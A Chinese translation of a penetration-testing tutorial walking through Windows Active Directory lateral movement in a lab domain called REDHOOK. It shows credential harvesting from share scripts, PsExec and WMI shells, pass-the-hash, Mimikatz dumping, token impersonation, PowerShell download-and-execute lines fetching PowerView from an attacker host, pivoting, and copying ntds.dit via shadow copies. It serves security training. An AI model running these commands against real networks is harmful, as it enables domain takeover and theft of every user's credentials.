2、超詳細的域滲透過程

FLy_鵬程萬里發表於2018-06-11

大家好!我們在這個write up 裡講下幾個不同的入侵 windows domian 時的橫向操作。 內容不會過於深入,而會介紹一些基本技巧和流程為了保證測試客觀性所以我將使用我們的測試物件lock domain “REDHOOK”. 希望這會成為我們第一個關於 windows domian 的系列教程如果你要具體瞭解某些細節(比如kerberos  tickets)歡迎發email 謝謝 (作者鬼佬,要問寫英文)!

例項:


我們的目標是獲取 "redhook.DA" 域賬號的鑑別資訊假設我們做為攻擊者已經成功的進入到目標企業的內部網路,但是我們和目標不在同一個 domian controller 的管理範圍, 如下圖所示.


另外我們作為攻擊者假設已經獲得了Client 1.主機上一些有用的本地管理員的鑑別資訊。怎麼獲得的?如果目標網路夠大, 就很有可能會在網路分享上找到有用的鑑別資訊 (例如各種batch, vbs, .NET, ps1, etc. 檔案中), 在找的過程中 "dir /s", "findstr /SI" andFind-InterestingFile 相當管用. 取決於一開始你怎麼獲得的許可權,你可能已經用到了一些很好用的像cobalt strike型別入侵框架,或者你已經在目標網路某臺機器是有了一些基本許可權功能。雖然在本講中入侵者使用的是kali,但我也會介紹一些windows 上的小技巧. 最後,本講中我不會去講關於繞過防護的技巧,記住實戰中觸發了防護的話那就代表沒戲了。

黑掉 Client 1

像我之前說的我們已經在內網分享內容裡得到了 “Client 1” 的鑑別資訊。看一下程式碼
# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat

@echo off

net use "\\10.0.0.129\C$" /user:bob ImSoSecur3!

if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
    echo "Sigh, more errors on Client1! Copying.."
    copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
    del  "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
) else (
    echo "Yaay, no new errors on Client1!"
)

net use "\\10.0.0.129\C$" /delete

我們可以嘗試獲取上面batch指令碼中IP地址的NetBIOS的資訊。

Kali:nbtscan -vh IP


如果在windows上使用cmd命令,如上圖中所示我們可以看出主機 “WIN7-ENT-CLI1” 連線的是 REDHOOK domain.

PsExec

我們使用 metasploit's P**ec 可以很容易的獲取到反彈shell 注意smbuser置的bob是本地賬,如果“net use” 命令下我們必須用 “REDHOOK\bob” 同時我們就不設定SMBDomain 引數


除了MetasploitPsExec,我們還能用ImpacketPsExec(RemComSvc 模擬PsExec)

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

在沒有明文密碼的時候我們通過它來傳遞獲取到的HASH作為代替,之後細講.下圖為 ImpacketPsExec指令碼使用獲取目標shell)


微軟也有自帶的 PsExec (合法的數字簽名過)。

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

圖中命令後面加個 "-s" 可以返回 SYSTEM 許可權的shell.

WMI:

Windows 下我們也能用WMIC(內建不需要下載),WMIC不僅可以讓你在遠程目標上執行命令還能提升WMIC去獲取敏感資訊和配置作業系統,這些功能已經全部內建。

當然你必須知道怎麼用 "cmd.exe /c" and "powershell.exe-exec bypass -command"去達到你的目的.我們提到的所有工具都已經整合了這些基本功能.我們回到用WmiExec ,通過圖中命令獲取到下圖資訊這時候你可能已經有了一個可以用來獲取hash的半開的shell.


最後用 PowerSploit'sInvoke-WmiCommand 獲取hash,由於PSCredential object的關係,這玩意可能比較滿要花點時間。 但是用這個指令碼你可以獲取到如下輸出以及記憶體中的資料。

Pass-The-Hash, WCE & Mimikatz:

有的時候你用工具可能只能獲取到賬號的NTLM hash拿不到明文。 這時候你可以用 metasploit (p**ec)或者 Impacket (只要是支援PTH的都可以) 之後就簡單了。如果你能確定目標本地的windows環境,那就可以用 WCE 或者 Mimikatz 注入NTLM hash 到程式中。


缺點就是使用WCE的做以上操作的話,100%肯定會被發現攻擊行為。Mimikatz則是利用 powershell w00t!來直接載入到目標記憶體中。我習慣用編譯過的二進制。


需要注意以上的例子中 domian 設定成了 ".",因為bob的賬號雖然屬於本地賬號,但是也可以當作域賬號來使用。我們有很多辦法可以獲取到shell。也許這部分看起來有點重複,但多知道幾個辦法沒有壞處啊~ 在不同的被限制的情況下可能只有特定的辦法可以成功。 要注意 P**ec variants 都可以獲取到 SYSTEM 許可權 shell  WMI variants只能以登入使用者許可權來執行命令再說一遍多知道點辦法沒有壞吃。

Smash-And-Grab

在成功進入到目標子網中之後,我們就可以開始經典的"samsh and grab"操作了。我們的目標是收集到所有可以收集到的資訊(明文,hash 密碼)。然後考慮如何利用他們。

Metasploit (Mimikatz & hashdump):

通過meterpeters返回的active session 我們可以用使用Mimikatz 獲取到明文密
碼,或者可以使用hash dump 來獲取到所有的本地賬號的hash

Secretsdump & Invoke-Mimikatz:

除了上面的辦法,我們還可以用Impacket's SecretsDump  PowersploitInvoke-Mimikatz來達到同樣的效果(這種情況下 Invoke-Mimikatz 需要被下載到目標伺服器上執行)。看下圖中,我已經精簡化了powershell下載和執行mimikatz的命令.


當然除了上面的還有其他辦法,基本套路和工具類似。

偵察

現在我們有了一臺REDHOOK域中的機器並且他連結了另外一個子網。我們現在可以開是偵察了!

Impersonation:

因為我們需要了解 domian 的細節內容,我們需要得開一個domian user許可權的shell. 這會有一點點問題,我們現在擁有的shell許可權不是bob的話就是SYSTEM但是我們可以用 NtQuerySystemInformation 這種神奇的操作來找到其他使用者的token 並且切換成他們的身份這個功能就是著名的安全工具

的主要功能。如圖,我們看見"REDHOOK\asenath.waite" 已經登入了系統,所以它是優選攻擊目標。.

如下圖Meterpreter已經內建了可以i讓過程簡化的 incognito 外掛

或者你可以用 Luke Jennings 寫的 incognito binary 這個工具和 PsExec 功能類似可以用於遠端攻擊.

最後再推薦使用 PowerSploit Invoke-TokenManipulation]Invoke-TokenManipulation但是不是很推薦因為安全性不是很靠譜。我已經給他們提了兩個相關漏洞(#112&#113)如果這些問題解決了(尤其是113)我會更新下相關操作。我覺得用PowerShell  tokenimpersonation操作是最方便的!

Domain 偵察:

現在我們已經取得了一個具有domain user 許可權的shell,我們需要看目前的範圍
下有哪些攻擊目標 (操作如下)。

C:\Windows\System32> whoami
redhook\asenath.waite

C:\Windows\System32> hostname
WIN7-Ent-CLI1

C:\Windows\System32> ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17
   IPv4 Address. . . . . . . . . . . : 10.0.0.129                    # Attacker's subnet
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11
   IPv4 Address. . . . . . . . . . . : 10.1.1.2                      # REDHOOK subnet
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.1.1.1

Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter isatap.localdomain:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : localdomain

Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

# A very small network, three hosts, including the one we have just compromised.
C:\Windows\System32> net view
Server Name            Remark

-------------------------------------------------------------------------------
\\REDRUM-DC            red.dc
\\WIN7-ENT-CLI1
\\WIN7-ENT-CLI2

The command completed successfully.

# The DC the user is authenticated to
C:\Windows\System32> echo %logonserver%
\\REDRUM-DC

C:\Windows\System32> ping -n 1 REDRUM-DC

Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:
Reply from 10.1.1.200: bytes=32 time<1ms TTL=128

Ping statistics for 10.1.1.200:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

# List local users
C:\Windows\System32> net user

User accounts for \\WIN7-ENT-CLI1

-------------------------------------------------------------------------------
Administrator            bob                      Guest
TemplateAdmin

The command completed successfully.

# List REDHOOK domain users
C:\Windows\System32> net user /domain
The request will be processed at a domain controller for domain RedHook.local.


User accounts for \\Redrum-DC.RedHook.local

-------------------------------------------------------------------------------
Administrator            asenath.waite            Guest
john.smith               krbtgt                   redhook.DA
robert.suydam            wilbur.whateley

The command completed successfully.

# PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the 
  network.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin"

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Administrator                   # Be careful, Administrator is a domain user
SID         : S-1-5-21-129707511-1158432277-3818383092-500    in this case, not a local user!
Disabled    : False
IsGroup     : False
IsDomain    : True
LastLogin   : 28/01/2016 21:38:22

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Enterprise Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-519
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/Administrator
SID         : S-1-5-21-280973330-564264495-219324212-500
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/bob                            # The local user bob is an admin on Client 1,
SID         : S-1-5-21-280973330-564264495-219324212-1002    we knew this already.
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/TemplateAdmin                  # Mmm!
SID         : S-1-5-21-280973330-564264495-219324212-1003
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/Administrator
SID         : S-1-5-21-1588183677-2924731702-2964281847-500
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/TemplateAdmin                     # Mmm², very suspicious, the local user
SID         : S-1-5-21-1588183677-2924731702-2964281847-1004    TemplateAdmin is an admin on both "Client
Disabled    : ERROR                                             1" and "Client 2"!
IsGroup     : False
IsDomain    : False
LastLogin   :

# PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC"

sesi10_cname                  sesi10_username    sesi10_time    sesi10_idle_time
------------                  ---------------    -----------    ----------------
\\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$                  10                  10
\\10.1.1.2                    asenath.waite                0                   0

# Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to 
  the box and that the connection is originating from the DC!
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2"

sesi10_cname                  sesi10_username    sesi10_time    sesi10_idle_time
------------                  ---------------    -----------    ----------------
\\10.1.1.200                  Administrator             1721                 124
\\10.1.1.2                    asenath.waite                0                   0

# Let's get some more info about that account. Again, this is listing information about 
  REDHOOK\Administrator not the local administrator.
C:\Windows\System32> net user Administrator /domain
The request will be processed at a domain controller for domain RedHook.local.

User name                    Administrator
Full Name
Comment                      Built-in account for administering the computer/dom
ain
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            25/01/2016 21:15:11
Password expires             Never
Password changeable          26/01/2016 21:15:11
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   28/01/2016 21:38:22

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users         *Domain Admins  # Oops, he is a DA!
The command completed successfully.

# We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA.
C:\Windows\System32> net user redhook.DA /domain
The request will be processed at a domain controller for domain RedHook.local.

User name                    redhook.DA
Full Name                    redhook DA
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            25/01/2016 21:27:37
Password expires             Never
Password changeable          26/01/2016 21:27:37
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   28/01/2016 21:18:56

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Enterprise Admins    *Domain Admins  # Our target on the other hand is the
                             *Group Policy Creator *Schema Admins    mother root of DA's hehe!
The command completed successfully.
如上圖上圖所示有了一點獲取 domian 管理員的思路。

(1) 中可以看出本地使用者 TemplateAdmin 同時是 "client1" 和 "client2"的管理員.
(2) 雖然我們沒有TemplateAdmin 的明文密碼但是我們有他登入 “client2”的密Hash.
(3) REDHOOK\Administrator 賬號能 登入”Client2", 加入我們在使用者的登入的情況黑掉他,我們就可以獲取到明文密碼。我們現在就可以切換成他的賬號。這個時候我們就相當於黑掉了這個domain!

考考你們:為什麼說"REDHOOK\Administrator"domian 管理員組的? 這種問題可能會出現在MCSA考試中。

Socks Proxy:

還有一件事我需要提到下. metasploit's 通過建立的sessions轉發流量,之後我們就可以通過sock 代理進行登入目標機了在使用metasploit 或者 cobaltstrike這個操作相當好用。


通過使用“session 1”route我們就可以用metasploit的各種模組來測試之前測試不到的 /24 子網中的主機啦!


另外,我們可以使用 proxychains (就是一種socks 代理的方式) 來做代理獲取到進入的目標機的許可權。在設定proxychains時需要正確的設定成metasploit module使用的埠。

還有就是socks proxy只允許 TCP流量留意下這個限制.windows主機的話不能直接用命令列設定socks proxy 但是我們能用 netsh來做埠對映(之後再說) 如果你還想要更強大的功能,你可以嘗試用plink來做些SSH牛逼操作。但是這個是本次談論範疇之外的了。

黑掉 Client 2

"Client 1" and "Client 2" 兩臺機器上的 同時擁有 TemplateAdmin賬號的情況,很有可能密碼也是相同,像這樣我們拿下"Clinet 2"的過程和我們上面的例子就沒什麼區別了。 唯一區別我們需要 pivot下我們的shell,還有我們使用hash而不是明文。下面我介紹兩種辦法,當然還有其他的辦法。

Metasploit (PortProxy & PsExec):

雖然我們可以通過metasploit訪問"Client 2" 但是連結返回時會出現問題。 這時候我們需要用到portproxy 模組在"Client 1"來建立埠對映。

上面的看著可能有點難懂. "Client 1"  10.1.1.2:9988 上監聽, 然後轉發所有數據到10.0.0.128:9988. 所有的都在後臺發生。事實上在Windows中封裝在netsh上。剩下的就是要稍微重新配置下PsExec

Impacket (PsExec) & netsh:

首先我們要在"Client 1"上用netsh先手工設定埠轉發。

我們現在設定管關於轉發10.0.0.129:5678  10.1.1.3:445的策略.Impacket'sP**ec 需要連線到一個自定義埠預設的話我們不能直接用命令做到,要用python程式碼實現。


稍作修改之後就可以很簡單的P**ec10.0.0.129 然後被轉發到 10.1.1.3!


記得用完之後把埠轉發規則清掉,下面這個就是命令。

C:\Windows\system32> netsh interface portproxy reset
windows環境?:

恭喜你沒辦法~ , 假如攻擊者使用的是windows環境,P**ec 沒法使用預設埠。另外,假如攻擊者的機器445埠被佔用,上面設定的埠對映規則將無效。(例如這樣的規則: 127.0.0.1:445 --> 10.0.0.129:5678). 還有SMB也不能選擇臨時關閉每次關閉了之後系統都需要重新配置,然後在重啟才能開啟所以非常的噁心。如果那位大神有辦法,請告訴我下怎麼解決。這中情況下最好的辦法是用pyinstaller Impacket's P**ec進行修改然後重新編譯 maaaaz 的操作類似href

Smash-And-Grab

這個步驟取決於"Client 2" 怎麼認證REDHOOK\Administrator,可能和第一例項中的不太一樣。例如,假如我們用  "net use \\10.1.1.3\C$" 是沒有辦法獲得明文密碼或者hash但是"net use\\10.1.1.3\C$ /user:REDHOOK\AdministratorXXXXXXX" 就都能拿到。 In essence,是這個取決於REDHOOK\Administrator使用者在登入是有沒有輸入密碼登入。

以下的辦法很可能直接解決問題。甚至在沒有明文密碼的情況下,我們也可以找到一個以REDHOOK\Administrator許可權執行的程式然後用incognito impersonate(劫持它的 token從而得到此程式的許可權。

Metasploit Easy-Mode (Mimikatz & hashdump &incognito):


這裡我們運氣比較好,或者說我們的步驟都是預先安排好的呵呵!~我們現在在看下incognito的基礎用法。


Impacket (P**ec) & incognito:

由於pivot的關係我們會有點被限制為了演示 我們可以在遠端主機上使用incognito , 但是和Invoke-Mimikatz比較有點不太方便 

在跑了這個命令之後會卡住。我程式遇到這種情況,並發現假如不用 “-c”(interactive 模式引數就不會卡住。 但是這樣命令就不會正確執行了 如果你不把命令全放在一個bat檔案中,那隻會執行第一行然後就卡住。 以上情況只有在通過 P**ec 執行 incognito 會出現。
雖然這是一個非常簡陋的解決方案,當我們登回機器的時候,我們可以看見我的batch指令碼已經正確執行了。
如果誰有更優雅的辦法,趕緊告訴我!

檔案傳輸:

這裡我用的是Impacket's P**ec自帶的 "put" 命令 。更好的辦法是用下載的方式把檔案傳到 pivot box上,比如我們可以用 Powershell  webclient 或者bitsadmin 來做下載操作。其他的辦法可以參考Parvez 的文章 here.一旦檔案傳輸成功,我們就可以在主機上建立一個不被限制的 windows 分享資料夾

# Create an unrestricted share.
C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test

C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt

C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full
SomeShare was shared successfully.

C:\Users\asenath.waite> net share
Share name   Resource                             Remark

-------------------------------------------------------------------------------
C$           C:\                                  Default share
IPC$                                              Remote IPC
ADMIN$       C:\Windows                           Remote Admin
SomeShare    C:\Users\asenath.waite\Desktop\test

The command completed successfully.

# On the remote host simple mount the share.
C:\Users\belial> net use \\10.0.0.129\SomeShare
The command completed successfully.

C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt
Hello

# Unmount.
C:\Users\belial> net use \\10.0.0.129\SomeShare /delete
\\10.0.0.129\SomeShare was deleted successfully.

# Clean up the share.
C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes
Users have open files on SomeShare.  Continuing the operation will force the files closed.

SomeShare was deleted successfully.

C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test
Compromising Redrum-DC

目前我們已經獲得到了REDHOOK\Administrator 的明文密碼,或者我們可以創建自己的 Domain 管理員賬號。這樣一來我們拿下域控制器的流程就和拿下"client 2“ 一樣了。 我就懶得把同樣的步驟再打一遍啦~你可以混合使用之前提到的操作。這下面細講的兩個例子,和之前的講的稍微有點不同。

Socks Proxy & Impacket (WmiExec):

記得我們之前設定的 socks proxy ? 我們可以用來代理所有拿下這個域的操作.另外提醒下socks proxy一定要做在 pivot 上。為了有點變化, 這裡我們用Impacket's WmiExec舉例。

很簡單吧?但是這個不是在所有情況下都能用所以你最好要知道其他的辦法。

Sysinternals (P**ec) & Invoke-Mimikatz:

回到我們的主要目標:獲取到REDHOOK\redhook.DA的可用鑑別資訊。此處我們用到Invoke-Mimikatzdump 遠端主機的鑑別資訊的功能. Essentially, 我們得 "Client 1" REDHOOK\Administrator許可權的shell然後在域控制器上啟用Mimikatz 我們這假設已經在kali 環境中得到了一個REDHOOK\redhook.DAactive session.

由於 windows 2k12 r2/8.1 enhanced protection features (安全防護)我只dumphash。拿到明文密碼基本是不可能的。但是,如圖中所示我們已經獲得REDHOOK\redhook.DA  NTLM hash 所以已經有了足夠登入域中其他終端的條件


注意:我們這裡用0填充了HASHLM部分(用什麼填充都無所謂)。當然我們這裡不只限用Impacket, Metasploit's P**ec 也可以用來組裝執行命令中的NTLM hash 

Pillaging NTDS

獲取NTDS通常是最後一步。我非常建議你看下 Sean Metcal 的文章 here 。他的文章描述了幾種不同獲取本地shell 連線域控制器的操作,還有遠端使用WMI的操作。下面我簡單說兩種辦法。

Volume Shadow Copy (Classic-Mode):

我們可以用 vssadmin 來進行這方面的操作.

C:\> whoami
redhook\redhook.da

# Get the path to NTDS, it may not be in the C drive.
C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    System Schema Version    REG_DWORD    0x45
    Root Domain    REG_SZ    DC=RedHook,DC=local
    Configuration NC    REG_SZ    CN=Configuration,DC=RedHook,DC=local
    Machine DN Name    REG_SZ    CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN=
                                 Configuration,DC=RedHook,DC=local
    DsaOptions    REG_SZ    1
    IsClone    REG_DWORD    0x0
    ServiceDll    REG_EXPAND_SZ    %systemroot%\system32\ntdsa.dll
    DSA Working Directory    REG_SZ    C:\Windows\NTDS
    DSA Database file    REG_SZ    C:\Windows\NTDS\ntds.dit
    Database backup path    REG_SZ    C:\Windows\NTDS\dsadata.bak
    Database log files path    REG_SZ    C:\Windows\NTDS
    Hierarchy Table Recalculation interval (minutes)    REG_DWORD    0x2d0
    Database logging/recovery    REG_SZ    ON
    DS Drive Mappings    REG_MULTI_SZ    c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\
    DSA Database Epoch    REG_DWORD    0x7983
    Strict Replication Consistency    REG_DWORD    0x1
    Schema Version    REG_DWORD    0x45
    ldapserverintegrity    REG_DWORD    0x1
    Global Catalog Promotion Complete    REG_DWORD    0x1
    DSA Previous Restore Count    REG_DWORD    0x1

# Create a shadow copy of C.
C:\> vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'c:\'
    Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

# Copy out ntds and the system hive.
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
        1 file(s) copied.
        
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
        1 file(s) copied.
得到檔案之後,我們可以本地使用Impacket's SecretsDump 來獲取檔案內容。 見下圖

NTDS可能包含成千上萬的使用者賬號資訊,資訊量比較大。測試的時候不要超綱瞎搞等下管理員會被你嚇死的!我們還可以使用 Invoke-NinjaCopy 一樣的效果可以參考 Sean Metcalf的文章 .

Socks Proxy & Impacket (SecretsDump) (Easy-Mode):

如果你已經設定好了pivot socks代理 ,那我們就可以簡單對 SecretsDump 行代理。然後用明文或者Hash來登入域控制器。
總結

這個帖子的主要目的是說一下幾種不同的攻擊技巧,根據不同的情況下可以選用到其中幾種辦法。希望這帖子能讓你瞭解到在DA中橫向移動的技巧!

相關文章